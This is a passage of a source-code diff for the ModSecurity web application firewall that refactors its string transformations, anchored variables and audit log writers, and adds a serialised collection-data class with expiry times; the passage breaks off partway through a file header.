a/src/actions/transformations/url_encode.h b/src/actions/transformations/url_encode.h index a45be56402..e112fb57fe 100644 --- a/src/actions/transformations/url_encode.h +++ b/src/actions/transformations/url_encode.h @@ -13,37 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_URL_ENCODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_URL_ENCODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class UrlEncode : public Transformation { public: + using Transformation::Transformation; - explicit UrlEncode(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - std::string url_enc(const char *input, - unsigned int input_len, int *changed); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_URL_ENCODE_H_ diff --git a/src/actions/transformations/utf8_to_unicode.cc b/src/actions/transformations/utf8_to_unicode.cc index 70c1f9c8e1..813534a907 100644 --- a/src/actions/transformations/utf8_to_unicode.cc +++ b/src/actions/transformations/utf8_to_unicode.cc @@ -13,83 +13,42 @@ * */ -#include "src/actions/transformations/utf8_to_unicode.h" - -#include -#include -#include -#include -#include -#include +#include "utf8_to_unicode.h" + #include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string Utf8ToUnicode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - int changed = 0; - char *out; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); +constexpr int UNICODE_ERROR_CHARACTERS_MISSING = -1; +constexpr int UNICODE_ERROR_INVALID_ENCODING = -2; - if (input == NULL) { - return ""; - } - - memcpy(input, value.c_str(), value.length()+1); - out = inplace(input, value.size() + 1, &changed); - free(input); - if (out != NULL) { - ret.assign(reinterpret_cast(out), - strlen(reinterpret_cast(out))); - free(out); - } +namespace modsecurity::actions::transformations { - return ret; -} +static inline bool encode(std::string &value) { + auto input = reinterpret_cast(value.data()); + const auto input_len = value.length(); -char *Utf8ToUnicode::inplace(unsigned char *input, - uint64_t input_len, int *changed) { - unsigned int count = 0; - char *data; - char *data_orig; - unsigned int i, len, j; - unsigned int bytes_left = input_len; - unsigned char unicode[8]; - *changed = 0; + bool changed = false; + std::string::size_type count = 0; + auto bytes_left = input_len; + char unicode[8] = {0}; /* 5 or 6 bytes for OLD standard unicode character and 1 byte for null terminator */ + /* 4 bytes are enough for standard UTF8 + '\0' */ + /* result can be only signed char array, so no need to cast later */ /* RFC3629 states that UTF-8 are encoded using sequences of 1 to 4 octets. */ /* Max size per character should fit in 4 bytes */ - len = input_len * 4 + 1; - data = reinterpret_cast(malloc(sizeof(char) * len)); - if (data == NULL) { - return NULL; - } - data_orig = data; - - if (input == NULL) { - free(data); - return NULL; - } + const auto len = input_len * 4 + 1; + std::string ret(len, {}); + auto data = ret.data(); - for (i = 0; i < bytes_left;) { + for (std::string::size_type i = 0; i < bytes_left;) { int unicode_len = 0; unsigned int d = 0; unsigned char c; - unsigned char *utf = (unsigned char *)&input[i]; + const auto* utf = &input[i]; c = *utf; @@ -117,17 +76,14 @@ char *Utf8ToUnicode::inplace(unsigned char *input, unicode_len = UNICODE_ERROR_INVALID_ENCODING; } else { unicode_len = 2; - count+=6; + count += 6; if (count <= len) { int length = 0; /* compute character number */ d = ((c & 0x1F) << 6) | (*(utf + 1) & 0x3F); *data++ = '%'; *data++ = 'u'; - snprintf(reinterpret_cast(unicode), - sizeof(reinterpret_cast(unicode)), - "%x", d); - length = strlen(reinterpret_cast(unicode)); + length = snprintf(unicode, sizeof(unicode), "%x", d); switch (length) { case 1: @@ -147,11 +103,11 @@ char *Utf8ToUnicode::inplace(unsigned char *input, break; } - for (j = 0; j < length; j++) { + for (int j = 0; j < length; j++) { *data++ = unicode[j]; } - *changed = 1; + changed = true; } } } else if ((c & 0xF0) == 0xE0) { @@ -176,10 +132,7 @@ char *Utf8ToUnicode::inplace(unsigned char *input, | (*(utf + 2) & 0x3F); *data++ = '%'; *data++ = 'u'; - snprintf(reinterpret_cast(unicode), - sizeof(reinterpret_cast(unicode)), - "%x", d); - length = strlen(reinterpret_cast(unicode)); + length = snprintf(unicode, sizeof(unicode), "%x", d); switch (length) { case 1: @@ -199,11 +152,11 @@ char *Utf8ToUnicode::inplace(unsigned char *input, break; } - for (j = 0; j < length; j++) { + for (int j = 0; j < length; j++) { *data++ = unicode[j]; } - *changed = 1; + changed = true; } } } else if ((c & 0xF8) == 0xF0) { @@ -238,10 +191,7 @@ char *Utf8ToUnicode::inplace(unsigned char *input, | (*(utf + 3) & 0x3F); *data++ = '%'; *data++ = 'u'; - snprintf(reinterpret_cast(unicode), - sizeof(reinterpret_cast(unicode)), - "%x", d); - length = strlen(reinterpret_cast(unicode)); + length = snprintf(unicode, sizeof(unicode), "%x", d); switch (length) { case 1: @@ -261,11 +211,11 @@ char *Utf8ToUnicode::inplace(unsigned char *input, break; } - for (j = 0; j < length; j++) { + for (int j = 0; j < length; j++) { *data++ = unicode[j]; } - *changed = 1; + changed = true; } } } else { @@ -309,10 +259,15 @@ char *Utf8ToUnicode::inplace(unsigned char *input, *data ='\0'; - return data_orig; + ret.resize(data - ret.c_str()); + std::swap(value, ret); + return changed; +} + + +bool Utf8ToUnicode::transform(std::string &value, const Transaction *trans) const { + return encode(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/utf8_to_unicode.h b/src/actions/transformations/utf8_to_unicode.h index 4d488410e0..af1253382a 100644 --- a/src/actions/transformations/utf8_to_unicode.h +++ b/src/actions/transformations/utf8_to_unicode.h @@ -13,40 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_UTF8_TO_UNICODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_UTF8_TO_UNICODE_H_ -#define UNICODE_ERROR_CHARACTERS_MISSING -1 -#define UNICODE_ERROR_INVALID_ENCODING -2 -#define UNICODE_ERROR_OVERLONG_CHARACTER -3 -#define UNICODE_ERROR_RESTRICTED_CHARACTER -4 -#define UNICODE_ERROR_DECODING_ERROR -5 - -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Utf8ToUnicode : public Transformation { public: - explicit Utf8ToUnicode(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - static char *inplace(unsigned char *input, uint64_t input_len, - int *changed); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_UTF8_TO_UNICODE_H_ diff --git a/src/actions/ver.cc b/src/actions/ver.cc index 43b8b832e2..d7b8bdc42d 100644 --- a/src/actions/ver.cc +++ b/src/actions/ver.cc @@ -15,16 +15,10 @@ #include "src/actions/ver.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/actions/action.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" - -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool Ver::evaluate(RuleWithActions *rule, Transaction *transaction) { @@ -33,5 +27,4 @@ bool Ver::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/ver.h b/src/actions/ver.h index 364d567b31..8bce189ce4 100644 --- a/src/actions/ver.h +++ b/src/actions/ver.h @@ -29,7 +29,7 @@ namespace actions { class Ver : public Action { public: - explicit Ver(const std::string &action) : Action(action, ConfigurationKind) { } + explicit Ver(const std::string &action) : Action(action, Kind::ConfigurationKind) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/xmlns.cc b/src/actions/xmlns.cc index bca3b32fe1..cb4044d839 100644 --- a/src/actions/xmlns.cc +++ b/src/actions/xmlns.cc @@ -43,7 +43,7 @@ bool XmlNS::init(std::string *error) { return false; } - if (m_href.at(0) == '\'' && m_href.size() > 3) { + if (m_href[0] == '\'' && m_href.size() > 3) { m_href.erase(0, 1); m_href.pop_back(); } diff --git a/src/anchored_set_variable.cc b/src/anchored_set_variable.cc index 32bddf8801..55e287988d 100644 --- a/src/anchored_set_variable.cc +++ b/src/anchored_set_variable.cc @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2026 OWASP Foundation (http://www.owasp.org/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -52,45 +53,37 @@ void AnchoredSetVariable::unset() { void AnchoredSetVariable::set(const std::string &key, const std::string &value, size_t offset, size_t len) { - std::unique_ptr origin(new VariableOrigin()); - std::string *v = new std::string(value); - VariableValue *var = new VariableValue(&m_name, &key, v); - delete v; - - origin->m_offset = offset; - origin->m_length = len; - - var->addOrigin(std::move(origin)); + VariableValue *var = new VariableValue(&m_name, &key, &value); + var->addOrigin(len, offset); emplace(key, var); } void AnchoredSetVariable::set(const std::string &key, const std::string &value, size_t offset) { - std::unique_ptr origin(new VariableOrigin()); - std::string *v = new std::string(value); - VariableValue *var = new VariableValue(&m_name, &key, v); - delete v; - - origin->m_offset = offset; - origin->m_length = value.size(); - - var->addOrigin(std::move(origin)); + VariableValue *var = new VariableValue(&m_name, &key, &value); + var->addOrigin(value.size(), offset); emplace(key, var); } void AnchoredSetVariable::resolve( - std::vector *l) { + std::vector *l) const { for (const auto& x : *this) { l->insert(l->begin(), new VariableValue(x.second)); } } +void AnchoredSetVariable::resolve( + std::vector *l) { + static_cast(*this).resolve(l); +} + + void AnchoredSetVariable::resolve( std::vector *l, - variables::KeyExclusions &ke) { + const variables::KeyExclusions &ke) const { for (const auto& x : *this) { if (!ke.toOmit(x.first)) { l->insert(l->begin(), new VariableValue(x.second)); @@ -102,6 +95,13 @@ void AnchoredSetVariable::resolve( } +void AnchoredSetVariable::resolve( + std::vector *l, + variables::KeyExclusions &ke) { // cppcheck-suppress constParameterReference + static_cast(*this).resolve(l, ke); +} + + void AnchoredSetVariable::resolve(const std::string &key, std::vector *l) { auto range = this->equal_range(key); @@ -113,18 +113,17 @@ void AnchoredSetVariable::resolve(const std::string &key, std::unique_ptr AnchoredSetVariable::resolveFirst( const std::string &key) { - auto range = equal_range(key); - for (auto it = range.first; it != range.second; ++it) { - std::unique_ptr b(new std::string()); - b->assign(it->second->getValue()); - return b; + + if (auto search = this->find(key); search != this->end()) { + return std::make_unique(search->second->getValue()); } + return nullptr; } - +// cppcheck-suppress constParameterPointer - keep the old signatures for ABI compatibility void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, - std::vector *l) { + std::vector *l) const { for (const auto& x : *this) { int ret = Utils::regex_search(x.first, *r); if (ret <= 0) { @@ -135,9 +134,15 @@ void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, } +void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, + std::vector *l) { + static_cast(*this).resolveRegularExpression(r, l); +} + +// cppcheck-suppress constParameterPointer - keep the old signatures for ABI compatibility void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, std::vector *l, - variables::KeyExclusions &ke) { + const variables::KeyExclusions &ke) const { for (const auto& x : *this) { int ret = Utils::regex_search(x.first, *r); if (ret <= 0) { @@ -153,4 +158,11 @@ void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, } +void AnchoredSetVariable::resolveRegularExpression(Utils::Regex *r, + std::vector *l, + variables::KeyExclusions &ke) { // cppcheck-suppress constParameterReference + static_cast(*this).resolveRegularExpression(r, l, ke); +} + + } // namespace modsecurity diff --git a/src/anchored_variable.cc b/src/anchored_variable.cc index 63128bb286..51860d1fe6 100644 --- a/src/anchored_variable.cc +++ b/src/anchored_variable.cc @@ -31,19 +31,9 @@ AnchoredVariable::AnchoredVariable(Transaction *t, const std::string &name) : m_transaction(t), m_offset(0), - m_name(""), + m_name(name), m_value(""), - m_var(NULL) { - m_name.append(name); - m_var = new VariableValue(&m_name); -} - - -AnchoredVariable::~AnchoredVariable() { - if (m_var) { - delete (m_var); - m_var = NULL; - } + m_var(&name) { } @@ -54,58 +44,16 @@ void AnchoredVariable::unset() { void AnchoredVariable::set(const std::string &a, size_t offset, size_t offsetLen) { - std::unique_ptr origin(new VariableOrigin()); - m_offset = offset; m_value.assign(a.c_str(), a.size()); - origin->m_offset = offset; - origin->m_length = offsetLen; - m_var->addOrigin(std::move(origin)); + m_var.addOrigin(offsetLen, offset); } void AnchoredVariable::set(const std::string &a, size_t offset) { - std::unique_ptr origin(new VariableOrigin()); - m_offset = offset; m_value.assign(a.c_str(), a.size()); - origin->m_offset = offset; - origin->m_length = m_value.size(); - m_var->addOrigin(std::move(origin)); -} - - -void AnchoredVariable::append(const std::string &a, size_t offset, - bool spaceSeparator) { - std::unique_ptr origin( - new VariableOrigin()); - - if (spaceSeparator && !m_value.empty()) { - m_value.append(" " + a); - } else { - m_value.append(a); - } - m_offset = offset; - origin->m_offset = offset; - origin->m_length = a.size(); - m_var->addOrigin(std::move(origin)); -} - - -void AnchoredVariable::append(const std::string &a, size_t offset, - bool spaceSeparator, int size) { - std::unique_ptr origin( - new VariableOrigin()); - - if (spaceSeparator && !m_value.empty()) { - m_value.append(" " + a); - } else { - m_value.append(a); - } - m_offset = offset; - origin->m_offset = offset; - origin->m_length = size; - m_var->addOrigin(std::move(origin)); + m_var.addOrigin(m_value.size(), offset); } @@ -114,9 +62,8 @@ void AnchoredVariable::evaluate(std::vector *l) { return; } - m_var->setValue(m_value); - VariableValue *m_var2 = new VariableValue(m_var); - l->push_back(m_var2); + m_var.setValue(m_value); + l->push_back(new VariableValue(&m_var)); } @@ -129,9 +76,7 @@ std::unique_ptr AnchoredVariable::resolveFirst() { if (m_value.empty()) { return nullptr; } - std::unique_ptr a(new std::string()); - a->append(m_value); - return a; + return std::make_unique(m_value); } diff --git a/src/audit_log/audit_log.cc b/src/audit_log/audit_log.cc index 307819f07d..67b4397ddc 100644 --- a/src/audit_log/audit_log.cc +++ b/src/audit_log/audit_log.cc @@ -1,6 +1,7 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2026 OWASP Foundation (http://www.owasp.org/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -51,25 +52,13 @@ namespace modsecurity { namespace audit_log { -AuditLog::AuditLog() - : m_path1(""), - m_path2(""), - m_storage_dir(""), - m_format(NotSetAuditLogFormat), - m_parts(-1), - m_filePermission(-1), - m_directoryPermission(-1), - m_status(NotSetLogStatus), - m_type(NotSetAuditLogType), - m_relevant(""), - m_writer(NULL), - m_ctlAuditEngineActive(false) { } +AuditLog::AuditLog() = default; AuditLog::~AuditLog() { if (m_writer) { delete m_writer; - m_writer = NULL; + m_writer = nullptr; } } @@ -108,35 +97,42 @@ bool AuditLog::setStatus(AuditLogStatus status) { } -bool AuditLog::setRelevantStatus(const std::basic_string& status) { +bool AuditLog::setRelevantStatus(std::string_view status) { this->m_relevant = std::string(status); return true; } -bool AuditLog::setStorageDir(const std::basic_string& path) { +bool AuditLog::setStorageDir(std::string_view path) { this->m_storage_dir = path; return true; } -bool AuditLog::setFilePath1(const std::basic_string& path) { +bool AuditLog::setFilePath1(std::string_view path) { this->m_path1 = path; return true; } -bool AuditLog::setFilePath2(const std::basic_string& path) { +bool AuditLog::setFilePath2(std::string_view path) { this->m_path2 = path; return true; } + +bool AuditLog::setPrefix(std::string_view prefix) { + this->m_prefix = prefix; + return true; +} + + bool AuditLog::setFormat(AuditLogFormat fmt) { this->m_format = fmt; return true; } -int AuditLog::addParts(int parts, const std::string& new_parts) { +int AuditLog::addParts(int parts, std::string_view new_parts) { PARTS_CONSTAINS('A', AAuditLogPart) PARTS_CONSTAINS('B', BAuditLogPart) PARTS_CONSTAINS('C', CAuditLogPart) @@ -154,7 +150,7 @@ int AuditLog::addParts(int parts, const std::string& new_parts) { } -int AuditLog::removeParts(int parts, const std::string& new_parts) { +int AuditLog::removeParts(int parts, std::string_view new_parts) { PARTS_CONSTAINS_REM('A', AAuditLogPart) PARTS_CONSTAINS_REM('B', BAuditLogPart) PARTS_CONSTAINS_REM('C', CAuditLogPart) @@ -172,7 +168,7 @@ int AuditLog::removeParts(int parts, const std::string& new_parts) { } -bool AuditLog::setParts(const std::basic_string& new_parts) { +bool AuditLog::setParts(std::string_view new_parts) { int parts = 0; PARTS_CONSTAINS('A', AAuditLogPart) @@ -208,7 +204,6 @@ bool AuditLog::setType(AuditLogType audit_type) { } - bool AuditLog::init(std::string *error) { audit_log::writer::Writer *tmp_writer; @@ -216,7 +211,7 @@ bool AuditLog::init(std::string *error) { && !m_ctlAuditEngineActive) { if (m_writer) { delete m_writer; - m_writer = NULL; + m_writer = nullptr; } return true; } @@ -234,7 +229,7 @@ bool AuditLog::init(std::string *error) { tmp_writer = new audit_log::writer::Serial(this); } - if (tmp_writer == NULL) { + if (tmp_writer == nullptr) { error->assign("Writer memory alloc failed!"); return false; } @@ -254,7 +249,7 @@ bool AuditLog::init(std::string *error) { } -bool AuditLog::isRelevant(int status) { +bool AuditLog::isRelevant(int status) const { std::string sstatus = std::to_string(status); if (m_relevant.empty()) { @@ -270,6 +265,10 @@ bool AuditLog::isRelevant(int status) { Utils::Regex(m_relevant)) != 0; } +bool AuditLog::isRelevant(int status) { + return static_cast(*this).isRelevant(status); +} + bool AuditLog::saveIfRelevant(Transaction *transaction) { return saveIfRelevant(transaction, -1); @@ -289,7 +288,7 @@ bool AuditLog::saveIfRelevant(Transaction *transaction, int parts) { return true; } - for (RuleMessage &i : transaction->m_rulesMessages) { + for (const RuleMessage &i : transaction->m_rulesMessages) { if (i.m_noAuditLog == false) { saveAnyway = true; break; @@ -312,7 +311,7 @@ bool AuditLog::saveIfRelevant(Transaction *transaction, int parts) { } ms_dbg_a(transaction, 5, "Saving this request as part " \ "of the audit logs."); - if (m_writer == NULL) { + if (m_writer == nullptr) { ms_dbg_a(transaction, 1, "Internal error, audit log writer is null"); } else { std::string error; @@ -331,12 +330,14 @@ bool AuditLog::close() { return true; } - +// TODO(v4): make 'from' const +// cppcheck-suppress constParameterPointer - keep the old signatures for ABI compatibility bool AuditLog::merge(AuditLog *from, std::string *error) { AL_MERGE_STRING_CONF(from->m_path1, m_path1); AL_MERGE_STRING_CONF(from->m_path2, m_path2); AL_MERGE_STRING_CONF(from->m_storage_dir, m_storage_dir); AL_MERGE_STRING_CONF(from->m_relevant, m_relevant); + AL_MERGE_STRING_CONF(from->m_prefix, m_prefix); if (from->m_filePermission != -1) { m_filePermission = from->m_filePermission; diff --git a/src/audit_log/writer/parallel.cc b/src/audit_log/writer/parallel.cc index 0a9777bfa5..fdbc3f0277 100644 --- a/src/audit_log/writer/parallel.cc +++ b/src/audit_log/writer/parallel.cc @@ -21,7 +21,12 @@ #include #include #include +#ifndef WIN32 #include +#else +#include +#include "src/compat/msvc.h" +#endif #include #include @@ -44,30 +49,29 @@ Parallel::~Parallel() { } -inline std::string Parallel::logFilePath(time_t *t, +inline std::string Parallel::logFilePath(const time_t *t, int part) { - struct tm timeinfo; - char tstr[300]; - std::string name(""); + std::string name; + struct tm timeinfo; localtime_r(t, &timeinfo); if (part & YearMonthDayDirectory) { - memset(tstr, '\0', 300); - strftime(tstr, 299, "/%Y%m%d", &timeinfo); - name = tstr; + char tstr[std::size("/yyyymmdd")]; + strftime(tstr, std::size(tstr), "/%Y%m%d", &timeinfo); + name.append(tstr); } if (part & YearMonthDayAndTimeDirectory) { - memset(tstr, '\0', 300); - strftime(tstr, 299, "/%Y%m%d-%H%M", &timeinfo); - name = name + tstr; + char tstr[std::size("/yyyymmdd-hhmm")]; + strftime(tstr, std::size(tstr), "/%Y%m%d-%H%M", &timeinfo); + name.append(tstr); } if (part & YearMonthDayAndTimeFileName) { - memset(tstr, '\0', 300); - strftime(tstr, 299, "/%Y%m%d-%H%M%S", &timeinfo); - name = name + tstr; + char tstr[std::size("/yyyymmdd-hhmmss")]; + strftime(tstr, std::size(tstr), "/%Y%m%d-%H%M%S", &timeinfo); + name.append(tstr); } return name; @@ -115,11 +119,11 @@ bool Parallel::write(Transaction *transaction, int parts, std::string *error) { } else { std::string boundary; generateBoundary(&boundary); - log = transaction->toOldAuditLogFormat(parts, "-" + boundary + "--"); + log = transaction->toOldAuditLogFormat(parts, "-" + boundary + "--", m_audit->m_prefix); } - std::string logPath = m_audit->m_storage_dir; - fileName = logPath + fileName + "-" + *transaction->m_id.get(); + const auto &logPath = m_audit->m_storage_dir; + fileName = logPath + fileName + "-" + transaction->m_id; if (logPath.empty()) { error->assign("Log path is not valid."); @@ -159,8 +163,14 @@ bool Parallel::write(Transaction *transaction, int parts, std::string *error) { if (m_audit->m_path1.empty() == false && m_audit->m_path2.empty() == false) { + std::string logMd5; + if (!Utils::Md5::hexdigest(log, &logMd5)) { + error->assign("Failed to calculate audit log MD5 digest"); + return false; + } + std::string msg = transaction->toOldAuditLogFormatIndex(fileName, - log.length(), Utils::Md5::hexdigest(log)); + log.length(), logMd5); ret = utils::SharedFiles::getInstance().write(m_audit->m_path2, msg, error); if (ret == false) { @@ -169,8 +179,14 @@ bool Parallel::write(Transaction *transaction, int parts, std::string *error) { } if (m_audit->m_path1.empty() == false && m_audit->m_path2.empty() == true) { + std::string logMd5; + if (!Utils::Md5::hexdigest(log, &logMd5)) { + error->assign("Failed to calculate audit log MD5 digest"); + return false; + } + std::string msg = transaction->toOldAuditLogFormatIndex(fileName, - log.length(), Utils::Md5::hexdigest(log)); + log.length(), logMd5); ret = utils::SharedFiles::getInstance().write(m_audit->m_path1, msg, error); if (ret == false) { @@ -179,8 +195,14 @@ bool Parallel::write(Transaction *transaction, int parts, std::string *error) { } if (m_audit->m_path1.empty() == true && m_audit->m_path2.empty() == false) { + std::string logMd5; + if (!Utils::Md5::hexdigest(log, &logMd5)) { + error->assign("Failed to calculate audit log MD5 digest"); + return false; + } + std::string msg = transaction->toOldAuditLogFormatIndex(fileName, - log.length(), Utils::Md5::hexdigest(log)); + log.length(), logMd5); ret = utils::SharedFiles::getInstance().write(m_audit->m_path2, msg, error); if (ret == false) { diff --git a/src/audit_log/writer/parallel.h b/src/audit_log/writer/parallel.h index 04fad79f6d..43423d783e 100644 --- a/src/audit_log/writer/parallel.h +++ b/src/audit_log/writer/parallel.h @@ -65,7 +65,7 @@ class Parallel : public Writer { YearMonthDayAndTimeFileName = 8, }; - static inline std::string logFilePath(time_t *t, int part); + static inline std::string logFilePath(const time_t *t, int part); }; } // namespace writer diff --git a/src/audit_log/writer/serial.cc b/src/audit_log/writer/serial.cc index 5d5f46229b..9ceddf252b 100644 --- a/src/audit_log/writer/serial.cc +++ b/src/audit_log/writer/serial.cc @@ -42,7 +42,7 @@ bool Serial::write(Transaction *transaction, int parts, std::string *error) { } else { std::string boundary; generateBoundary(&boundary); - msg = transaction->toOldAuditLogFormat(parts, "-" + boundary + "--"); + msg = transaction->toOldAuditLogFormat(parts, "-" + boundary + "--", m_audit->m_prefix); } return utils::SharedFiles::getInstance().write(m_audit->m_path1, msg, diff --git a/src/audit_log/writer/writer.h b/src/audit_log/writer/writer.h index 093f271c17..56dada0622 100644 --- a/src/audit_log/writer/writer.h +++ b/src/audit_log/writer/writer.h @@ -18,8 +18,10 @@ #include +#ifndef WIN32 #include #include +#endif #include #include diff --git a/src/collection/backend/collection_data.cc b/src/collection/backend/collection_data.cc new file mode 100644 index 0000000000..9549925712 --- /dev/null +++ b/src/collection/backend/collection_data.cc @@ -0,0 +1,140 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include "src/collection/backend/collection_data.h" + + +namespace modsecurity { +namespace collection { +namespace backend { + + +bool CollectionData::isExpired() const { + if (m_hasExpiryTime == false) { + return false; + } + auto now = std::chrono::system_clock::now(); + return (now >= m_expiryTime); +} + + +void CollectionData::setExpiry(int32_t seconds_until_expiry) { + m_expiryTime = std::chrono::system_clock::now() + std::chrono::seconds(seconds_until_expiry); + m_hasExpiryTime = true; +} + +std::string CollectionData::getSerialized() const { + std::string serialized; + if (hasValue()) { + serialized.reserve(30 + 10 + getValue().size()); + } else { + serialized.reserve(16+10); + } + + serialized.assign("{"); + + if (hasExpiry()) { + serialized.append("\"__expire_\":"); + uint64_t expiryEpochSeconds = std::chrono::duration_cast(m_expiryTime.time_since_epoch()).count(); + serialized.append(std::to_string(expiryEpochSeconds)); + if (hasValue()) { + serialized.append(","); + } + } + if (hasValue()) { + serialized.append("\"__value_\":\""); + serialized.append(getValue()); + serialized.append("\""); + } + + serialized.append("}"); + + return serialized; +} + +void CollectionData::setFromSerialized(const char* serializedData, size_t length) { + const static std::string expiryPrefix("\"__expire_\":"); + const static std::string valuePrefix("\"__value_\":\""); + m_hasValue = false; + m_hasExpiryTime = false; + + std::string serializedString(serializedData, length); + if ((serializedString.find("{") == 0) && (serializedString.substr(serializedString.length()-1) == "}")) { + size_t currentPos = 1; + uint64_t expiryEpochSeconds = 0; + bool invalidSerializedFormat = false; + bool doneParsing = false; + + // Extract the expiry time, if it exists + if (serializedString.find(expiryPrefix, currentPos) == currentPos) { + currentPos += expiryPrefix.length(); + std::string expiryDigits = serializedString.substr(currentPos, 10); + if (expiryDigits.find_first_not_of("0123456789") == std::string::npos) { + expiryEpochSeconds = strtoll(expiryDigits.c_str(), NULL, 10); + } else { + invalidSerializedFormat = true; + } + currentPos += 10; + } + + if ((!invalidSerializedFormat) && (expiryEpochSeconds > 0)) { + if (serializedString.find(",", currentPos) == currentPos) { + currentPos++; + } else if (currentPos == serializedString.length()-1) { + doneParsing = true; + } else { + invalidSerializedFormat = true; + } + } + + if ((!invalidSerializedFormat) && (!doneParsing)) { + // Extract the value + if ((serializedString.find(valuePrefix, currentPos) == currentPos)) { + currentPos += valuePrefix.length(); + size_t expectedCloseQuotePos = serializedString.length() - 2; + if ((serializedString.substr(expectedCloseQuotePos, 1) == "\"") && (expectedCloseQuotePos >= currentPos)) { + m_value = serializedString.substr(currentPos); + m_value.resize(m_value.length()-2); + m_hasValue = true; + } else { + invalidSerializedFormat = true; + } + } else { + invalidSerializedFormat = true; + } + } + + // Set the object's expiry time, if we found one + if ((!invalidSerializedFormat) && (expiryEpochSeconds > 0)) { + std::chrono::seconds expiryDuration(expiryEpochSeconds); + std::chrono::system_clock::time_point expiryTimePoint(expiryDuration); + m_expiryTime = expiryTimePoint; + m_hasExpiryTime = true; + } + if (!invalidSerializedFormat) { + return; + } + } + + // this is the residual case; the entire string is a simple value (not JSON-ish encoded) + // the foreseen case here is lmdb content from prior to the serialization support + m_value.assign(serializedData, length); + m_hasValue = true; + return; +} + +} // namespace backend +} // namespace collection +} // namespace modsecurity diff --git a/src/collection/backend/collection_data.h b/src/collection/backend/collection_data.h new file mode 100644 index 0000000000..8b1b25d817 --- /dev/null +++ b/src/collection/backend/collection_data.h @@ -0,0 +1,68 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + + +#ifdef __cplusplus +#include +#include +#endif + + +#ifndef SRC_COLLECTION_DATA_H_ +#define SRC_COLLECTION_DATA_H_ + +#ifdef __cplusplus +namespace modsecurity { +namespace collection { +namespace backend { + +class CollectionData { +public: + CollectionData() : + m_hasValue(false), + m_hasExpiryTime(false) { } + + CollectionData(const std::string &value) : + m_hasValue(true), + m_hasExpiryTime(false), + m_value(value) { } + + void setValue(const std::string &value) { + m_value = value; + m_hasValue = true; + } + bool hasValue() const { return m_hasValue;} + const std::string& getValue() const { return m_value;} + + void setExpiry(int32_t seconds_until_expiry); + bool hasExpiry() const { return m_hasExpiryTime;} + bool isExpired() const; + + std::string getSerialized() const; + void setFromSerialized(const char* serializedData, size_t length); + +private: + bool m_hasValue; + bool m_hasExpiryTime; + std::string m_value; + std::chrono::system_clock::time_point m_expiryTime; +}; + +} // namespace backend +} // namespace collection +} // namespace modsecurity +#endif + +#endif // SRC_COLLECTION_DATA_H_ diff --git a/src/collection/backend/in_memory-per_process.cc b/src/collection/backend/in_memory-per_process.cc index 4963206e50..b16ee843ac 100644 --- a/src/collection/backend/in_memory-per_process.cc +++ b/src/collection/backend/in_memory-per_process.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You 